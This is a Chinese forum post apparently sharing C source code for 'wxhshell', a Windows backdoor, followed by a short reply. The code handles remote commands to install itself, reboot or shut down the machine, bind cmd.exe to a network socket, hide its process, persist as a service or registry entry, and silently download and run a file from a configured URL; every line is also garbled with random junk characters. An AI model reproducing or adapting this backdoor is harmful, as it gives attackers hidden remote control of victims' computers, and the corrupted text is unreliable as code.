  else { _RX*Ps=  
D66!C{  
    switch(cmd[0]) { rm,h\  
  `(8RK  
  // 帮助 uQkQ#'e|  
  case '?': { ,J'@e+jV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qb5IpI{U  
    break; #e6x_o|  
  } nG"Ae8r  
  // 安装 }:+P{  
  case 'i': { a!:R_P}7  
    if(Install()) LsNJ3oy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /7C %m:  
    else DkBVk+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &XSe&1  
    break; _2WIi/6K  
    } M:w]g`LKl  
  // 卸载 ~T&X#i  
  case 'r': { dZ\T@9+j+  
    if(Uninstall()) LY!.u?D`P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iD2>-yf  
    else hj[sxC>z5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xj21:IMR  
    break; n/IDq$/P  
    } r-o6I:y  
  // 显示 wxhshell 所在路径 .,SWa;[iB  
  case 'p': { j,#R?Ig  
    char svExeFile[MAX_PATH]; m`8tHHF  
    strcpy(svExeFile,"\n\r"); G)\6W#de4  
      strcat(svExeFile,ExeFile); 'w}/ o+x@  
        send(wsh,svExeFile,strlen(svExeFile),0); znd fIt^  
    break; }Yp]A  
    } =JB1]b{|  
  // 重启 1iE*-K%Q  
  case 'b': { k!m9 l1x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K|-RAjE  
    if(Boot(REBOOT)) [E/8E h<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#sSLE.$Z  
    else { P4~C0z  
    closesocket(wsh); N9cUlrDO  
    ExitThread(0); ^ v@& q  
    } U+g<lgH1J  
    break; P3V }cGZ  
    } }L|XZL_Jo#  
  // 关机 S|ADu]H(  
  case 'd': { (+0yZ7AZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wGnFDkCNz  
    if(Boot(SHUTDOWN)) u/L\e.4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )9>E} SU/  
    else { )rv<"  
    closesocket(wsh); 84ma X'  
    ExitThread(0); k'+Mc%pg4E  
    } ]}dAm S/  
    break; NeY,Of|  
    } woR }=\K  
  // 获取shell T13Jno  
  case 's': { .R {P%r  
    CmdShell(wsh); B!z5P" C(~  
    closesocket(wsh); }4"T# [n#  
    ExitThread(0); F#Xzh Ds  
    break;   |HB  
  } 8Wyv!tL  
  // 退出 I;Bcim;  
  case 'x': { OAtn.LU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *|k/lI  
    CloseIt(wsh); i fbO<  
    break; &(HIBF'O  
    } q3R?8Mb  
  // 离开 .=4k'99,  
  case 'q': { v"G)G)*z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d/`Q,Vl  
    closesocket(wsh); NI?YUhg>  
    WSACleanup(); p=8?hI/bim  
    exit(1); |#-GH$.v  
    break; 4 g^oy^~  
        } }z8HS< #Q  
  } fQOh%i9n5  
  } ~b.e9FhdA  
En/EQ\T@F  
  // 提示信息 QAh6!<.;@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9q !./)  
} H:M;H =0  
  } G[5z3  
)s4a<S c]  
  return; knJoVo]  
} 'w5g s}1D  
}H<87zH  
// shell模块句柄 |v%xOl  
int CmdShell(SOCKET sock) )S6"I  
{ z wJ Vi9sO  
STARTUPINFO si; !o&b:7  
ZeroMemory(&si,sizeof(si)); $'>h7].  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "FT(U{^7d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z6xM(*vg  
PROCESS_INFORMATION ProcessInfo; APBe 76'3)  
char cmdline[]="cmd"; 2k$~Mv@L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z>zW83a  
  return 0; G;3N"az  
} OwM.N+ z#T  
1W +QcK4k  
// 自身启动模式 D/-$~u_o  
int StartFromService(void) L H`z '7&/  
{ Xi!`+N4  
typedef struct  G(1y_t  
{ |SF5'\d'  
  DWORD ExitStatus; ]DO"2r  
  DWORD PebBaseAddress; sAz]8(Fi0  
  DWORD AffinityMask; ]#VNZ#("  
  DWORD BasePriority; "~&d= f0m  
  ULONG UniqueProcessId; {)d{:&*K.  
  ULONG InheritedFromUniqueProcessId; k3wAbGp  
}   PROCESS_BASIC_INFORMATION; v}AVIdR  
<^(g<B`>  
PROCNTQSIP NtQueryInformationProcess; S*-/#j  
ir ^XZVR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wNgS0{}&`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *N #{~  
k)l^ ;x-  
  HANDLE             hProcess; 12,,gwh  
  PROCESS_BASIC_INFORMATION pbi; <>FpvdB  
;,yjkD[mWE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _ X* A  
  if(NULL == hInst ) return 0; L'?0*t  
=icynW^Fr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q|+`ihut  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T[YGQT|B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wJQ"|  
otgU6S7F  
  if (!NtQueryInformationProcess) return 0; y.:Z:w6$  
b0_Ih6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $h( B2  
  if(!hProcess) return 0; "2'pS<|  
}QqmDK.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `fRp9o/  
oG_-a(N  
  CloseHandle(hProcess); xiW;Y{kZ  
s;;"^5B.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T$ )dc^  
if(hProcess==NULL) return 0;  qg+bh  
p7pJ90~E  
HMODULE hMod; (wRJ"Nwu  
char procName[255]; &gL &@';,  
unsigned long cbNeeded; 8T#tB,<fFW  
\%FEQa0u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,{br6*E  
GDW$R`2  
  CloseHandle(hProcess); J!GWP:b3  
1/H9(2{L  
if(strstr(procName,"services")) return 1; // 以服务启动 XPt<k&o1,  
Do&/+Ssnu  
  return 0; // 注册表启动 PnKgUJoa0  
} _26<}&]b*  
=R  <X!@  
// 主模块 /T_ G9zc  
int StartWxhshell(LPSTR lpCmdLine) `IQ76Xl  
{ :sY pZX1  
  SOCKET wsl; XJ`!d\WL/!  
BOOL val=TRUE; x(Us O}  
  int port=0; ][y~(&=T  
  struct sockaddr_in door; 5k^UZw  
TvzqJ=  
  if(wscfg.ws_autoins) Install(); 1eZ759PoO  
;m+*R/  
port=atoi(lpCmdLine); E?z~)0z2`  
^at X/  
if(port<=0) port=wscfg.ws_port; mXH\z  
q)ns ui(  
  WSADATA data; jd]YKaI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x]Nk T  
yR Zb_Mq9U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gJ8+HV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d,_Ky#K5b  
  door.sin_family = AF_INET; QD}'2{M!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v?U;o&L(  
  door.sin_port = htons(port); i'$V'x'k  
U '#Xwax  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C#r1zr6  
closesocket(wsl); V4PV@{G  
return 1; BP6|^Q  
} E8Jy!8/X9T  
.<<RI8A  
  if(listen(wsl,2) == INVALID_SOCKET) { t@`w}o[#  
closesocket(wsl); S<f]Y4A&  
return 1; @nuMl5C-`  
} ^11y8[[  
  Wxhshell(wsl); \Tc<27-  
  WSACleanup(); _7h:NLd  
7Z#r9Vr  
return 0; vbo:,]T<A  
c==5cMUg  
} !&$uq|-  
ZB)`*z>*  
// 以NT服务方式启动 ]Cfjs33H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O M]d}}=Y  
{ s7A3CY]->  
DWORD   status = 0; yl>V '  
  DWORD   specificError = 0xfffffff; %[<@$qP  
)<?^~"h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5d7AE^SHsH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [O"9OW'2!B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k//l~A9m  
  serviceStatus.dwWin32ExitCode     = 0; X7cqAi  
  serviceStatus.dwServiceSpecificExitCode = 0; <}G*/ z?/  
  serviceStatus.dwCheckPoint       = 0; 0%Y8M` ~s7  
  serviceStatus.dwWaitHint       = 0; fd{75J5%  
K/Q%tr1W0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UP18?uM  
  if (hServiceStatusHandle==0) return;  T\(w}  
&%@b;)]J  
status = GetLastError(); B#>7;xy>  
  if (status!=NO_ERROR) qHZ!~Kq,"'  
{ ^ZxT0oaL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w)# Lu/  
    serviceStatus.dwCheckPoint       = 0; v0D~zV"<y  
    serviceStatus.dwWaitHint       = 0; ; i)NP X  
    serviceStatus.dwWin32ExitCode     = status; 'F\@KE -d  
    serviceStatus.dwServiceSpecificExitCode = specificError; X 5.%e&`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Mftq4nq  
    return; A#yZh\#  
  } |6cz r  
PQu_]cXI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ix-bJE6+I,  
  serviceStatus.dwCheckPoint       = 0; > FVBn;1  
  serviceStatus.dwWaitHint       = 0; {Dc{e5K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Io|3zE*<  
} m| /?((s  
h U3!  
// 处理NT服务事件,比如:启动、停止 sew0n`d1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v%ldg833l  
{ N;YAG#'9~_  
switch(fdwControl) eK=W'cNu  
{ o9<)rUy  
case SERVICE_CONTROL_STOP: ,P%a0\  
  serviceStatus.dwWin32ExitCode = 0; {Wi)/B}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >/r^l)`9_f  
  serviceStatus.dwCheckPoint   = 0; S%^*h{9u"  
  serviceStatus.dwWaitHint     = 0; %kHeU=  
  { 0eGz|J*7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wM-I*<L>  
  } 5~,/VV  
  return; DOsQVdH  
case SERVICE_CONTROL_PAUSE: T{A_]2 G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A~@u#]]<n  
  break; }nsxo5WP  
case SERVICE_CONTROL_CONTINUE: "^Ax}Jr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K P1;u#v  
  break; ?tA<:.<vtY  
case SERVICE_CONTROL_INTERROGATE: ;R_H8vp  
  break; U_&v|2o#3  
}; !`A]YcQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r1jsw j%7  
} ^$!H|  
P^)J^{r  
// 标准应用程序主函数 Z\\'0yuY(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Fn~@'  
{ aqw;T\GI+~  
R4#56#d<  
// 获取操作系统版本 F> H5 ww9E  
OsIsNt=GetOsVer(); 9'My /A0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g'%^-S ]  
3axbW f3[  
  // 从命令行安装 *_ U=KpZF  
  if(strpbrk(lpCmdLine,"iI")) Install(); R7 WGc[  
"PK`Ca@`v  
  // 下载执行文件 |z+K]R8_  
if(wscfg.ws_downexe) { sTb@nrRxH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 38gHM9T xh  
  WinExec(wscfg.ws_filenam,SW_HIDE); * NB:"1x  
} G-DvM6T  
!W4X4@  
if(!OsIsNt) { % >mB"Y,  
// 如果时win9x,隐藏进程并且设置为注册表启动 [PhT zXt  
HideProc(); 8fH. E  
StartWxhshell(lpCmdLine); 2Hp<(  
} A.v'ws+VDP  
else Fv )H;1V  
  if(StartFromService()) s"xiGp9  
  // 以服务方式启动 ] 'B4O1  
  StartServiceCtrlDispatcher(DispatchTable); 0dKv%X#\  
else ;bMmJ>[l-  
  // 普通方式启动 `{B<|W$=  
  StartWxhshell(lpCmdLine); W]-c`32~S  
vJ a?5Jr  
return 0; *#| lhf'  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八